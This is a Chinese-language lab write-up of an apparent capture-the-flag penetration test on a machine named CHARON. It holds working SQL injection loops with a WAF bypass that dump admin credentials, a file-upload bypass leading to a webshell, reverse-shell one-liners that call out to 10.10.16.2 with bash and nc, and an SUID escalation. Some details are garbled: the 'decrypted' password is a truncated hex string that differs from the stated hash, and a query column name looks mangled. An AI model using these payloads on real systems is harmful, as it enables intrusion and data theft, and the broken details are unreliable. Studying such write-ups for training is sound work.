记一次CHARON对的渗透测试
字数 1424 2025-08-24 07:48:33
记一次CHARON渗透测试教学文档
1. 信息收集阶段
1.1 端口扫描
使用nmap进行初始扫描,发现目标开放了两个关键服务:
- OpenSSH服务
- Apache服务(HTTP/80端口)
命令示例:
nmap -sV 10.10.10.31
1.2 Web服务枚举
访问80端口发现是一个CMS界面,初步浏览未发现明显可利用点。
1.3 目录扫描
使用gobuster进行目录爆破:
命令示例:
gobuster dir -u http://10.10.10.31 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -o scans/gobuster-root-small-php -t 40
关键发现:
- 扫描结果中发现了
/cmsdata目录 - 访问该目录发现一个登录界面,包含登录表单和"忘记密码"功能
2. 漏洞利用阶段
2.1 SQL注入发现
在"忘记密码"功能处发现SQL注入漏洞:
- 输入单引号
'导致报错 - 输入双引号
"提示"找不到这个email" - 确认存在SQL注入漏洞
2.2 SQL注入利用
2.2.1 字段数判断
使用LIMIT和UNION SELECT判断字段数,发现第4个字段显示邮箱格式信息。
2.2.2 WAF绕过技巧
发现WAF拦截,通过以下方式绕过:
- 将
UNION SELECT改为大写UNIoN SELECT - 使用
CONCAT函数合并结果
2.2.3 自动化枚举脚本
使用脚本枚举数据库信息:
枚举用户名:
for i in {1..1000}; do
curl -s http://10.10.10.31/cmsdata/forgot.php --data-urlencode "email=a@b.c' or 1=1 limit ${i},1;" | grep '<h2>' | awk '{print $5}' | grep -v "^with$" || break;
done
枚举数据库:
for i in {0..100}; do
curl -s http://10.10.10.31/cmsdata/forgot.php --data-urlencode "email=a@b.c' UNiON SELECT 1,schema_name,3,'a@b.c' from information_schema.schemata limit ${i},1;" | grep '<h2>' | awk '{print $5}' | grep -v "^with$" || break;
done | cut -d'>' -f2
获取管理员凭据:
for i in $(seq 0 300); do
payload="email=a@b.com' UNIoN SELECT 1,2,3,CONCAT(__username_password_, '@b.com') FROM supercms.operators LIMIT 1 OFFSET $i-- -"
curl -s -d "$payload" http://10.10.10.31/cmsdata/forgot.php | grep -o '[^ ]*@b.com'
done
获取结果:
- 用户名:
super_cms_adm - 密码哈希:
0b0689ba94f94533400f4decd87fa260(MD5) - 解密后密码:
5f4dcc3b5aa765d61d8327deb8(实际为"password")
3. 文件上传利用
3.1 文件上传测试
成功登录后发现文件上传功能,测试发现:
- 直接上传
.php文件被拦截 - 尝试
.php.jpg格式可上传但无法解析
3.2 上传绕过技术
服务器通过三种方式过滤文件:
- 文件扩展名
- Content-Type头
- 魔术字节/MIME类型
绕过方法:
- 修改前端代码,将
name属性改为testfile1 - 输入文件名
cmd.php - 上传
.php.jpg格式文件
关键点:
- 检查响应包中的base64编码字段
- 使用
echo命令解码base64内容
4. 命令执行与反弹shell
4.1 命令执行
成功上传webshell后执行系统命令。
4.2 反弹shell
使用多种方法建立反弹shell连接:
方法1:
bash -c 'bash -i >%26 /dev/tcp/10.10.16.2/443 0>%261'
方法2:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.2 443 >/tmp/f
监听端:
nc -lvnp 443
5. 权限提升
5.1 敏感文件发现
在/home/decoder目录下发现两个密钥文件。
5.2 密钥解密
使用RsaCtfTool进行暴力破解:
安装步骤:
sudo apt install libmpc-dev libgmp3-dev sagemath
pip3 install -r requirements.txt
5.3 SSH登录
使用解密后的密钥通过SSH登录获取user.txt。
5.4 SUID提权
查找可利用的SUID文件:
命令:
find / -perm -4000 -ls 2>/dev/null
发现:
supershell可被利用- 通过
supershell成功读取root.txt
6. 总结与关键点
- 信息收集:全面的端口扫描和目录爆破是发现入口点的关键
- SQL注入:注意WAF绕过技巧,特别是大小写混合和函数使用
- 文件上传:理解服务器过滤机制,尝试多种绕过方法
- 权限提升:系统检查SUID文件和敏感目录是提权的重要途径
- 工具使用:熟练使用nmap、gobuster、curl、RsaCtfTool等工具
防御建议:
- 对用户输入进行严格过滤
- 限制文件上传类型和内容检查
- 定期检查系统SUID文件
- 使用强密码并加密存储